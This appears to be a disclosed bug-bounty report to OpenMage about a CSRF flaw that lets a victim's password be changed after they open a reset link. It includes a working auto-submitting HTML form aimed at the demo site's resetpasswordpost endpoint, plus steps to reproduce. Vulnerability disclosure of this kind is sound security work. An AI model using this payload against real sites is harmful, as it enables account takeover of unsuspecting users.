OpenMage · Report #1086752
CSRF in changing password after using reset password link
Validstatus
lowseverity
24upvotes
27 May 2021disclosed
How it was found
Summary:
Hey OpenMage, the forgot password page is not protected against CSRF attack which can lead to changing password. Use the below form to test
<html>
<body>
<form action="https://demo.openmage.org/customer/account/resetpasswordpost/" method="POST">
<input type="hidden" name="password" value="password123" />
<input type="hidden" name="confirmation" value="password123" />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
Steps To Reproduce:
- Go to
https://demo.openmage.org/customer/account/forgotpassword/ - Enter your email and ask for password reset link
- Load the password reset link and after loading it close it
- Now load the above form and boom, password will be changed.
Impact
Password reset via CSRF